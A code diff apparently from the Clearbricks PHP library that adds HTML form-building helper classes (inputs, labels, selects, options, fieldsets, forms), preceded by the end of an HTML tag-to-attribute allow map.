'link' => ['as', 'crossorigin', 'charset', 'disabled', 'href', 'hreflang', 'integrity', 'media', 'methods', 'prefetch', 'referrerpolicy', 'rel', 'rev', 'sizes', 'target', 'type'],
// M
'main' => [],
'map' => ['name'],
'mark' => [],
'menu' => ['label', 'type'],
'menuitem' => ['checked', 'command', 'default', 'disabled', 'icon', 'label', 'radiogroup', 'type'],
'meta' => ['charset', 'content', 'http-equiv', 'name', 'scheme'],
'meter' => ['form', 'high', 'low', 'max', 'min', 'optimum', 'value'],
// N
'nav' => [],
'noframes' => [],
'noscript' => [],
// O
'object' => ['archive', 'border', 'classid', 'codebase', 'codetype', 'data', 'declare', 'form', 'height',
'hspace', 'name', 'standby', 'type', 'typemustmatch', 'usemap', 'width', ],
'ol' => ['compact', 'reversed', 'start', 'type'],
'optgroup' => ['disabled', 'label'],
'option' => ['disabled', 'label', 'selected', 'value'],
'output' => ['for', 'form', 'name'],
// P
'p' => ['align'],
'param' => ['name', 'type', 'value', 'valuetype'],
'picture' => [],
'pre' => ['cols', 'width', 'wrap'],
'progress' => ['max', 'value'],
// Q
'q' => ['cite'],
// R
'rp' => [],
'rt' => [],
'rtc' => [],
'ruby' => [],
// S
's' => [],
'samp' => [],
'script' => ['async', 'charset', 'crossorigin', 'defer', 'integrity', 'language', 'nomodule', 'nonce',
'src', 'type', ],
'section' => [],
'select' => ['autofocus', 'disabled', 'form', 'multiple', 'name', 'required', 'size'],
'small' => [],
'source' => ['media', 'sizes', 'src', 'srcset', 'type'],
'span' => [],
'strike' => [],
'strong' => [],
'style' => ['media', 'nonce', 'scoped', 'type'],
'sub' => [],
'summary' => [],
'sup' => [],
// T
'table' => ['align', 'bgcolor', 'border', 'cellpadding', 'cellspacing', 'frame', 'rules', 'summary', 'width'],
'tbody' => ['align', 'bgcolor', 'char', 'charoff', 'valign'],
'td' => ['abbr', 'align', 'axis', 'bgcolor', 'char', 'charoff', 'colspan', 'headers', 'nowrap',
'rowspan', 'scope', 'valign', 'width', ],
'template' => [],
'textarea' => ['autocomplete', 'autofocus', 'cols', 'disabled', 'form', 'maxlength', 'minlength', 'name',
'placeholder', 'readonly', 'rows', 'spellcheck', 'wrap', ],
'tfoot' => ['align', 'bgcolor', 'char', 'charoff', 'valign'],
'th' => ['abbr', 'align', 'axis', 'bgcolor', 'char', 'charoff', 'colspan', 'headers', 'nowrap',
'rowspan', 'scope', 'valign', 'width', ],
'thead' => ['align', 'bgcolor', 'char', 'charoff', 'valign'],
'time' => ['datetime'],
'title' => [],
'tr' => ['align', 'bgcolor', 'char', 'charoff', 'valign'],
'track' => ['default', 'kind', 'label', 'src', 'srclang'],
'tt' => [],
// U
'u' => [],
'ul' => ['compact', 'type'],
// V
'var' => [],
'video' => ['autoplay', 'buffered', 'controls', 'crossorigin', 'height', 'loop', 'muted', 'played',
'playsinline', 'preload', 'poster', 'src', 'width', ],
// W
'wbr' => [],
// X
// Y
// Z
];
}

View file

@ -0,0 +1,32 @@
<?php
declare(strict_types=1);
/**
* @class formButton
* @brief HTML Forms password field creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formButton extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $value The value
*/
public function __construct($id = null, ?string $value = null)
{
parent::__construct($id, 'button');
if ($value !== null) {
$this->value($value);
}
}
}

View file

@ -0,0 +1,32 @@
<?php
declare(strict_types=1);
/**
* @class formCheckbox
* @brief HTML Forms checkbox button creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formCheckbox extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param bool $checked Is checked
*/
public function __construct($id = null, ?bool $checked = null)
{
parent::__construct($id, 'checkbox');
if ($checked !== null) {
$this->checked($checked);
}
}
}

View file

@ -0,0 +1,35 @@
<?php
declare(strict_types=1);
/**
* @class formColor
* @brief HTML Forms color field creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formColor extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $value The value
*/
public function __construct($id = null, ?string $value = null)
{
parent::__construct($id, 'color');
$this
->size(7)
->maxlength(7);
if ($value !== null) {
$this->value($value);
}
}
}

View file

@ -0,0 +1,414 @@
<?php
declare(strict_types=1);
/**
* @class formComponent
* @brief HTML Forms creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
abstract class formComponent
{
private $_type; // Component type
private $_element; // HTML element
private $_data; // Custom component properties (see __get() and __set())
public function __construct(?string $type = null, ?string $_element = null)
{
$this->_type = $type ?? __CLASS__;
$this->_element = $_element;
$this->_data = [];
}
/**
* Call statically new instance
*
* Use formXxx::init(...$args) to statically create a new instance
*
* @return object New formXxx instance
*/
public static function init(...$args)
{
$class = get_called_class();
/* @phpstan-ignore-next-line */
return new $class(...$args);
}
/**
* Magic getter method
*
* @param string $property The property
*
* @return mixed property value if property exists or null
*/
public function __get(string $property)
{
return array_key_exists($property, $this->_data) ? $this->_data[$property] : null;
}
/**
* Magic setter method
*
* @param string $property The property
* @param mixed $value The value
*
* @return self
*/
public function __set(string $property, $value)
{
$this->_data[$property] = $value;
return $this;
}
/**
* Magic isset method
*
* @param string $property The property
*
* @return bool
*/
public function __isset(string $property): bool
{
return isset($this->_data[$property]);
}
/**
* Magic unset method
*
* @param string $property The property
*/
public function __unset(string $property): void
{
unset($this->_data[$property]);
}
/**
* Magic call method
*
* If the method exists, call it and return it's return value
* If not, if there is no argument ($argument empty array), assume that it's a get
* If not, assume that's is a set (value = $argument[0])
*
* @param string $method The property
* @param array $arguments The arguments
*
* @return mixed method called, property value (or null), self
*/
public function __call(string $method, $arguments)
{
// Cope with known methods
if (method_exists($this, $method)) {
return call_user_func_array([$this, $method], $arguments);
}
// Unknown method
if (!count($arguments)) {
// No argument, assume its a get
if (array_key_exists($method, $this->_data)) {
return $this->_data[$method];
}
return null; // @phpstan-ignore-line
}
// Argument here, assume its a set
$this->_data[$method] = $arguments[0];
return $this; // @phpstan-ignore-line
}
/**
* Magic invoke method
*
* Return rendering of component
*
* @return string
*/
public function __invoke(): string
{
return $this->render();
}
/**
* Gets the type of component
*
* @return string The type.
*/
public function getType(): string
{
return $this->_type;
}
/**
* Sets the type of component
*
* @param string $type The type
*
* @return self
*/
public function setType(string $type)
{
$this->_type = $type;
return $this;
}
/**
* Gets the HTML element
*
* @return null|string The element.
*/
public function getElement(): ?string
{
return $this->_element;
}
/**
* Sets the HTML element
*
* @param string $element The element
*
* @return self
*/
public function setElement(string $element)
{
$this->_element = $element;
return $this;
}
/**
* Attaches the label.
*
* @param formLabel|null $label The label
* @param int|null $position The position
*
* @return self
*/
public function attachLabel(?formLabel $label = null, ?int $position = null)
{
if ($label) {
$this->label($label);
$label->for($this->id);
if ($position !== null) {
$label->setPosition($position);
}
} elseif (isset($this->label)) {
unset($this->label);
}
return $this;
}
/**
* Detaches the label from this component
*
* @return self
*/
public function detachLabel()
{
if (isset($this->label)) {
unset($this->label);
}
return $this;
}
/**
* Sets the identifier (name/id).
*
* If the given identifier is a string, set name = id = given string
* If it is an array of only one element, name = [first element]
* Else name = [first element], id = [second element]
*
* @param string|array|null $identifier (string or array)
*
* @return self
*/
public function setIdentifier($identifier)
{
if (is_string($identifier)) {
$this->name = $identifier;
$this->id = $identifier;
} elseif (is_array($identifier)) {
$this->name = $identifier[0];
if (isset($identifier[1])) {
$this->id = $identifier[1];
}
}
return $this;
}
/**
* Check mandatory attributes in properties, at least name or id must be present
*
* @return bool
*/
public function checkMandatoryAttributes(): bool
{
// Check for mandatory info
return (isset($this->name) || isset($this->id));
}
/**
* Render common attributes
*
* $this->
*
* type => string type (may be used for input component).
*
* name => string name (required if id is not provided).
* id => string id (required if name is not provided).
*
* value => string value.
* default => string default value (will be used if value is not provided).
* checked => boolean checked.
*
* accesskey => string accesskey (character(s) space separated).
* autocomplete => string autocomplete type.
* autofocus => boolean autofocus.
* class => string (or array of string) class(es).
* contenteditable => boolean content editable.
* dir => string direction.
* disabled => boolean disabled.
* form => string form id.
* lang => string lang.
* list => string list id.
* max => int max value.
* maxlength => int max length.
* min => int min value.
* readonly => boolean readonly.
* required => boolean required.
* pattern => string pattern.
* placeholder => string placeholder.
* size => int size.
* spellcheck => boolean spellcheck.
* tabindex => int tabindex.
* title => string title.
*
* data => array data.
* [
* key => string data id (rendered as data-<id>).
* value => string data value.
* ]
*
* extra => string (or array of string) extra HTML attributes.
*
* @param bool $includeValue Includes $this->value if exist (default = true)
* should be set to false to textarea and may be some others
*
* @return string
*/
public function renderCommonAttributes(bool $includeValue = true): string
{
$render = '' .
// Type (used for input component)
(isset($this->type) ?
' type="' . $this->type . '"' : '') .
// Identifier
(isset($this->name) ?
' name="' . $this->name . '"' : '') .
(isset($this->id) ?
' id="' . $this->id . '"' : '') .
// Value
// - $this->default will be used as value if exists and $this->value does not
($includeValue && array_key_exists('value', $this->_data) ?
' value="' . $this->value . '"' : '') .
($includeValue && !array_key_exists('value', $this->_data) && array_key_exists('default', $this->_data) ?
' value="' . $this->default . '"' : '') .
(isset($this->checked) && $this->checked ?
' checked' : '') .
// Common attributes
(isset($this->accesskey) ?
' accesskey="' . $this->accesskey . '"' : '') .
(isset($this->autocapitalize) ?
' autocapitalize="' . $this->autocapitalize . '"' : '') .
(isset($this->autocomplete) ?
' autocomplete="' . $this->autocomplete . '"' : '') .
(isset($this->autocorrect) ?
' autocorrect="' . $this->autocorrect . '"' : '') .
(isset($this->autofocus) && $this->autofocus ?
' autofocus' : '') .
(isset($this->class) ?
' class="' . (is_array($this->class) ? implode(' ', $this->class) : $this->class) . '"' : '') .
(isset($this->contenteditable) && $this->contenteditable ?
' contenteditable' : '') .
(isset($this->dir) ?
' dir="' . $this->dir . '"' : '') .
(isset($this->disabled) && $this->disabled ?
' disabled' : '') .
(isset($this->form) ?
' form="' . $this->form . '"' : '') .
(isset($this->lang) ?
' lang="' . $this->lang . '"' : '') .
(isset($this->list) ?
' list="' . $this->list . '"' : '') .
(isset($this->max) ?
' max="' . strval((int) $this->max) . '"' : '') .
(isset($this->maxlength) ?
' maxlength="' . strval((int) $this->maxlength) . '"' : '') .
(isset($this->min) ?
' min="' . strval((int) $this->min) . '"' : '') .
(isset($this->pattern) ?
' pattern="' . $this->pattern . '"' : '') .
(isset($this->placeholder) ?
' placeholder="' . $this->placeholder . '"' : '') .
(isset($this->readonly) && $this->readonly ?
' readonly' : '') .
(isset($this->required) && $this->required ?
' required' : '') .
(isset($this->size) ?
' size="' . strval((int) $this->size) . '"' : '') .
(isset($this->spellcheck) ?
' spellcheck="' . ($this->spellcheck ? 'true' : 'false') . '"' : '') .
(isset($this->tabindex) ?
' tabindex="' . strval((int) $this->tabindex) . '"' : '') .
(isset($this->title) ?
' title="' . $this->title . '"' : '') .
'';
if (isset($this->data) && is_array($this->data)) {
// Data attributes
foreach ($this->data as $key => $value) {
$render .= ' data-' . $key . '="' . $value . '"';
}
}
if (isset($this->extra)) {
// Extra HTML
$render .= ' ' . (is_array($this->extra) ? implode(' ', $this->extra) : $this->extra);
}
return $render;
}
// Abstract methods
/**
* Renders the object.
*
* Must be provided by classes which extends this class
*/
abstract protected function render(): string;
/**
* Gets the default element.
*
* @return string The default HTML element.
*/
abstract protected function getDefaultElement(): string;
}

View file

@ -0,0 +1,37 @@
<?php
declare(strict_types=1);
/**
* @class formDate
* @brief HTML Forms date field creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formDate extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $value The value
*/
public function __construct($id = null, ?string $value = null)
{
parent::__construct($id, 'date');
$this
->size(10)
->maxlength(10)
->pattern('[0-9]{4}-[0-9]{2}-[0-9]{2}')
->placeholder('1962-05-13');
if ($value !== null) {
$this->value($value);
}
}
}

View file

@ -0,0 +1,37 @@
<?php
declare(strict_types=1);
/**
* @class formDatetime
* @brief HTML Forms datetime field creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formDatetime extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $value The value
*/
public function __construct($id = null, ?string $value = null)
{
parent::__construct($id, 'datetime-local');
$this
->size(16)
->maxlength(16)
->pattern('[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}')
->placeholder('1962-05-13T14:45');
if ($value !== null) {
$this->value($value);
}
}
}

View file

@ -0,0 +1,32 @@
<?php
declare(strict_types=1);
/**
* @class formEmail
* @brief HTML Forms email field creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formEmail extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $value The value
*/
public function __construct($id = null, ?string $value = null)
{
parent::__construct($id, 'email');
if ($value !== null) {
$this->value($value);
}
}
}

View file

@ -0,0 +1,96 @@
<?php
declare(strict_types=1);
/**
* @class formFieldset
* @brief HTML Forms fieldset creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formFieldset extends formComponent
{
private const DEFAULT_ELEMENT = 'fieldset';
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $element The element
*/
public function __construct($id = null, ?string $element = null)
{
parent::__construct(__CLASS__, $element ?? self::DEFAULT_ELEMENT);
if ($id !== null) {
$this->setIdentifier($id);
}
}
/**
* Attaches the legend to this fieldset.
*
* @param formLegend|null $legend The legend
*/
public function attachLegend(?formLegend $legend)
{
if ($legend) {
$this->legend($legend);
} elseif (isset($this->legend)) {
unset($this->legend);
}
}
/**
* Detaches the legend.
*/
public function detachLegend()
{
if (isset($this->legend)) {
unset($this->legend);
}
}
/**
* Renders the HTML component (including the associated legend if any).
*
* @return string
*/
public function render(): string
{
$buffer = '<' . ($this->getElement() ?? self::DEFAULT_ELEMENT) . $this->renderCommonAttributes() . '>' . "\n";
if (isset($this->legend)) {
$buffer .= $this->legend->render();
}
if (isset($this->fields) && is_array($this->fields)) {
foreach ($this->fields as $field) {
if (isset($this->legend) && $field->getDefaultElement() === 'legend') {
// Do not put more than one legend in fieldset
continue;
}
$buffer .= $field->render();
}
}
$buffer .= "\n" . '</' . ($this->getElement() ?? self::DEFAULT_ELEMENT) . '>' . "\n";
return $buffer;
}
/**
* Gets the default element.
*
* @return string The default element.
*/
public function getDefaultElement(): string
{
return self::DEFAULT_ELEMENT;
}
}

View file

@ -0,0 +1,32 @@
<?php
declare(strict_types=1);
/**
* @class formFile
* @brief HTML Forms file field creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formFile extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $value The value
*/
public function __construct($id = null, ?string $value = null)
{
parent::__construct($id, 'file');
if ($value !== null) {
$this->value($value);
}
}
}

View file

@ -0,0 +1,71 @@
<?php
declare(strict_types=1);
/**
* @class formForm
* @brief HTML Forms form creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formForm extends formComponent
{
private const DEFAULT_ELEMENT = 'form';
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $element The element
*/
public function __construct($id = null, ?string $element = null)
{
parent::__construct(__CLASS__, $element ?? self::DEFAULT_ELEMENT);
if ($id !== null) {
$this->setIdentifier($id);
}
}
/**
* Renders the HTML component.
*
* @return string
*/
public function render(?string $fieldFormat = null): string
{
if (!$this->checkMandatoryAttributes()) {
return '';
}
$buffer = '<' . ($this->getElement() ?? self::DEFAULT_ELEMENT) .
(isset($this->action) ? ' action="' . $this->action . '"' : '') .
(isset($this->method) ? ' method="' . $this->method . '"' : '') .
$this->renderCommonAttributes() . '>' . "\n";
if (isset($this->fields) && is_array($this->fields)) {
foreach ($this->fields as $field) {
$buffer .= sprintf(($fieldFormat ?: '%s'), $field->render());
}
}
$buffer .= '</' . ($this->getElement() ?? self::DEFAULT_ELEMENT) . '>' . "\n";
return $buffer;
}
/**
* Gets the default element.
*
* @return string The default element.
*/
public function getDefaultElement(): string
{
return self::DEFAULT_ELEMENT;
}
}

View file

@ -0,0 +1,33 @@
<?php
declare(strict_types=1);
/**
* @class formHidden
* @brief HTML Forms hidden field creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formHidden extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $value The value
*/
public function __construct($id = null, ?string $value = null)
{
// Label should not be rendered for an input type="hidden"
parent::__construct($id, 'hidden', false);
if ($value !== null) {
$this->value($value);
}
}
}

View file

@ -0,0 +1,75 @@
<?php
declare(strict_types=1);
/**
* @class formInput
* @brief HTML Forms input field creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formInput extends formComponent
{
private const DEFAULT_ELEMENT = 'input';
/**
* Should include the associated label if exist
*
* @var bool
*/
private $renderLabel = true;
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $type The input type
* @param bool $renderLabel Render label if present
*/
public function __construct($id = null, string $type = 'text', bool $renderLabel = true)
{
parent::__construct(__CLASS__, self::DEFAULT_ELEMENT);
$this->type($type);
$this->renderLabel = $renderLabel;
if ($id !== null) {
$this->setIdentifier($id);
}
}
/**
* Renders the HTML component.
*
* @return string
*/
public function render(): string
{
if (!$this->checkMandatoryAttributes()) {
return '';
}
$buffer = '<' . ($this->getElement() ?? self::DEFAULT_ELEMENT) . $this->renderCommonAttributes() . '/>' . "\n";
if ($this->renderLabel && isset($this->label) && isset($this->id)) {
$this->label->for = $this->id;
$buffer = $this->label->render($buffer);
}
return $buffer;
}
/**
* Gets the default element.
*
* @return string The default element.
*/
public function getDefaultElement(): string
{
return self::DEFAULT_ELEMENT;
}
}

View file

@ -0,0 +1,125 @@
<?php
declare(strict_types=1);
/**
* @class formLabel
* @brief HTML Forms label creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formLabel extends formComponent
{
private const DEFAULT_ELEMENT = 'label';
// Position of linked component and position of text/label
public const INSIDE_TEXT_BEFORE = 0;
public const INSIDE_TEXT_AFTER = 1;
public const OUTSIDE_LABEL_BEFORE = 2;
public const OUTSIDE_LABEL_AFTER = 3;
// Aliases
public const INSIDE_LABEL_BEFORE = 0;
public const INSIDE_LABEL_AFTER = 1;
public const OUTSIDE_TEXT_BEFORE = 2;
public const OUTSIDE_TEXT_AFTER = 3;
/**
* Position of linked component:
* INSIDE_TEXT_BEFORE = inside label, label text before component
* INSIDE_TEXT_AFTER = inside label, label text after component
* OUTSIDE_LABEL_BEFORE = after label
* OUTSIDE_LABEL_AFTER = before label
*
* @var int
*/
private $_position = self::INSIDE_TEXT_BEFORE;
/**
* Constructs a new instance.
*
* @param string $text The text
* @param int $position The position
* @param null|string $id The identifier
*/
public function __construct(string $text = '', int $position = self::INSIDE_TEXT_BEFORE, ?string $id = null)
{
parent::__construct(__CLASS__, self::DEFAULT_ELEMENT);
$this->_position = $position;
$this
->text($text);
if ($id !== null) {
$this->for($id);
}
}
/**
* Renders the HTML component.
*
* @param null|string $buffer The buffer
*
* @return string
*/
public function render(?string $buffer = ''): string
{
/**
* sprintf formats
*
* %1$s = label opening block
* %2$s = text of label
* %3$s = linked component
* %4$s = label closing block
*
* @var array
*/
$formats = [
'<%1$s>%2$s %3$s</%4$s>', // Component inside label with label text before it
'<%1$s>%3$s %2$s</%4$s>', // Component inside label with label text after it
'<%1$s>%2$s</%4$s> %3$s', // Component after label (for attribute will be used)
'%3$s <%1$s>%2$s</%4$s>', // Component before label (for attribute will be used)
];
if ($this->_position < 0 || $this->_position > count($formats)) {
$this->_position = self::INSIDE_TEXT_BEFORE;
}
$start = ($this->getElement() ?? self::DEFAULT_ELEMENT);
/* @phpstan-ignore-next-line */
if (($this->_position !== self::INSIDE_TEXT_BEFORE || $this->_position !== self::INSIDE_TEXT_AFTER) && isset($this->for)) {
$start .= ' for="' . $this->for . '"';
}
$start .= $this->renderCommonAttributes();
$end = ($this->getElement() ?? self::DEFAULT_ELEMENT);
return sprintf($formats[$this->_position], $start, $this->text, $buffer ?: '', $end);
}
/**
* Sets the position.
*
* @param int $position The position
*/
public function setPosition(int $position = self::INSIDE_TEXT_BEFORE)
{
$this->_position = $position;
return $this;
}
/**
* Gets the default element.
*
* @return string The default element.
*/
public function getDefaultElement(): string
{
return self::DEFAULT_ELEMENT;
}
}

View file

@ -0,0 +1,62 @@
<?php
declare(strict_types=1);
/**
* @class formLegend
* @brief HTML Forms legend creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formLegend extends formComponent
{
private const DEFAULT_ELEMENT = 'legend';
/**
* Constructs a new instance.
*
* @param string $text The text
* @param mixed $id The identifier
* @param string $element The element
*/
public function __construct(string $text = '', $id = null, ?string $element = null)
{
parent::__construct(__CLASS__, $element ?? self::DEFAULT_ELEMENT);
$this->text($text);
if ($id !== null) {
$this->setIdentifier($id);
}
}
/**
* Renders the HTML component.
*
* @return string
*/
public function render(): string
{
$buffer = '<' . ($this->getElement() ?? self::DEFAULT_ELEMENT) . $this->renderCommonAttributes() . '>';
if ($this->text) {
$buffer .= $this->text;
}
$buffer .= '</' . ($this->getElement() ?? self::DEFAULT_ELEMENT) . '>' . "\n";
return $buffer;
}
/**
* Gets the default element.
*
* @return string The default element.
*/
public function getDefaultElement(): string
{
return self::DEFAULT_ELEMENT;
}
}

View file

@ -0,0 +1,37 @@
<?php
declare(strict_types=1);
/**
* @class formNumber
* @brief HTML Forms number field creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formNumber extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param int $min The minimum value
* @param int $max The maximum value
* @param int $value The value
*/
public function __construct($id = null, ?int $min = null, ?int $max = null, ?int $value = null)
{
parent::__construct($id, 'number');
$this
->min($min)
->max($max);
if ($value !== null) {
$this->value($value);
}
}
}

View file

@ -0,0 +1,75 @@
<?php
declare(strict_types=1);
/**
* @class formOptgroup
* @brief HTML Forms optgroup creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formOptgroup extends formComponent
{
private const DEFAULT_ELEMENT = 'optgroup';
/**
* Constructs a new instance.
*
* @param string $name The optgroup name
* @param null|string $element The element
*/
public function __construct(string $name, ?string $element = null)
{
parent::__construct(__CLASS__, $element ?? self::DEFAULT_ELEMENT);
$this
->text($name);
}
/**
* Renders the HTML component.
*
* @param null|string $default The default value
*
* @return string
*/
public function render(?string $default = null): string
{
$buffer = '<' . ($this->getElement() ?? self::DEFAULT_ELEMENT) .
(isset($this->text) ? ' label="' . $this->text . '"' : '') .
$this->renderCommonAttributes() . '>' . "\n";
if (isset($this->items) && is_array($this->items)) {
foreach ($this->items as $item => $value) {
if ($value instanceof formOption || $value instanceof formOptgroup) {
$buffer .= $value->render($default);
} elseif (is_array($value)) {
/* @phpstan-ignore-next-line */
$buffer .= (new formOptgroup($item))->items($value)->render($this->default ?? $default ?? null);
} else {
/* @phpstan-ignore-next-line */
$buffer .= (new formOption($item, $value))->render($this->default ?? $default ?? null);
}
}
}
$buffer .= '</' . ($this->getElement() ?? self::DEFAULT_ELEMENT) . '>' . "\n";
return $buffer;
}
/**
* Gets the default element.
*
* @return string The default element.
*/
public function getDefaultElement(): string
{
return self::DEFAULT_ELEMENT;
}
}

View file

@ -0,0 +1,67 @@
<?php
declare(strict_types=1);
/**
* @class formOption
* @brief HTML Forms option creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formOption extends formComponent
{
private const DEFAULT_ELEMENT = 'option';
/**
* Constructs a new instance.
*
* @param string $name The option name
* @param string $value The option value
* @param null|string $element The element
*/
public function __construct(string $name, string $value, ?string $element = null)
{
parent::__construct(__CLASS__, $element ?? self::DEFAULT_ELEMENT);
$this
->text($name)
->value($value);
}
/**
* Renders the HTML component.
*
* @param null|string $default The default value
*
* @return string
*/
public function render(?string $default = null): string
{
$buffer = '<' . ($this->getElement() ?? self::DEFAULT_ELEMENT) .
($this->value === $default ? ' selected' : '') .
$this->renderCommonAttributes() . '>';
if ($this->text) {
$buffer .= $this->text;
}
$buffer .= '</' . ($this->getElement() ?? self::DEFAULT_ELEMENT) . '>' . "\n";
return $buffer;
}
/**
* Gets the default element.
*
* @return string The default element.
*/
public function getDefaultElement(): string
{
return self::DEFAULT_ELEMENT;
}
}

View file

@ -0,0 +1,36 @@
<?php
declare(strict_types=1);
/**
* @class formPassword
* @brief HTML Forms password field creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formPassword extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $value The value
*/
public function __construct($id = null, ?string $value = null)
{
parent::__construct($id, 'password');
// Default attributes for a password, may be supercharge after
$this->autocorrect('off');
$this->spellcheck('off');
$this->autocapitalize('off');
if ($value !== null) {
$this->value($value);
}
}
}

View file

@ -0,0 +1,32 @@
<?php
declare(strict_types=1);
/**
* @class formRadio
* @brief HTML Forms radio button creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formRadio extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param bool $checked If checked
*/
public function __construct($id = null, ?bool $checked = null)
{
parent::__construct($id, 'radio');
if ($checked !== null) {
$this->checked($checked);
}
}
}

View file

@ -0,0 +1,93 @@
<?php
declare(strict_types=1);
/**
* @class formSelect
* @brief HTML Forms select creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formSelect extends formComponent
{
private const DEFAULT_ELEMENT = 'select';
/**
* Should include the associated label if exist
*
* @var bool
*/
private $renderLabel = true;
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $element The element
* @param bool $renderLabel Render label if present
*/
public function __construct($id = null, ?string $element = null, bool $renderLabel = true)
{
parent::__construct(__CLASS__, $element ?? self::DEFAULT_ELEMENT);
$this->renderLabel = $renderLabel;
if ($id !== null) {
$this->setIdentifier($id);
}
}
/**
* Renders the HTML component (including select options).
*
* @param null|string $default The default value
*
* @return string
*/
public function render(?string $default = null): string
{
if (!$this->checkMandatoryAttributes()) {
return '';
}
$buffer = '<' . ($this->getElement() ?? self::DEFAULT_ELEMENT) . $this->renderCommonAttributes() . '>' . "\n";
if (isset($this->items) && is_array($this->items)) {
foreach ($this->items as $item => $value) {
if ($value instanceof formOption || $value instanceof formOptgroup) {
/* @phpstan-ignore-next-line */
$buffer .= $value->render($this->default ?? $default ?? null);
} elseif (is_array($value)) {
/* @phpstan-ignore-next-line */
$buffer .= (new formOptgroup($item))->items($value)->render($this->default ?? $default ?? null);
} else {
/* @phpstan-ignore-next-line */
$buffer .= (new formOption($item, (string) $value))->render($this->default ?? $default ?? null);
}
}
}
$buffer .= '</' . ($this->getElement() ?? self::DEFAULT_ELEMENT) . '>' . "\n";
if ($this->renderLabel && isset($this->label) && isset($this->id)) {
$this->label->for = $this->id;
$buffer = $this->label->render($buffer);
}
return $buffer;
}
/**
* Gets the default element.
*
* @return string The default element.
*/
public function getDefaultElement(): string
{
return self::DEFAULT_ELEMENT;
}
}

View file

@ -0,0 +1,32 @@
<?php
declare(strict_types=1);
/**
* @class formSubmit
* @brief HTML Forms password field creation helpers
*
* @package Clearbricks
* @subpackage html.form
*
* @since 1.2 First time this was introduced.
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class formSubmit extends formInput
{
/**
* Constructs a new instance.
*
* @param mixed $id The identifier
* @param string $value The value
*/
public function __construct($id = null, ?string $value = null)
{
parent::__construct($id, 'submit');
if ($value !== null) {
$this->value($value);
}
}
}

View file

@ -0,0 +1,75 @@
<?php
declare(strict_types=1);
/**
* @class formTextarea
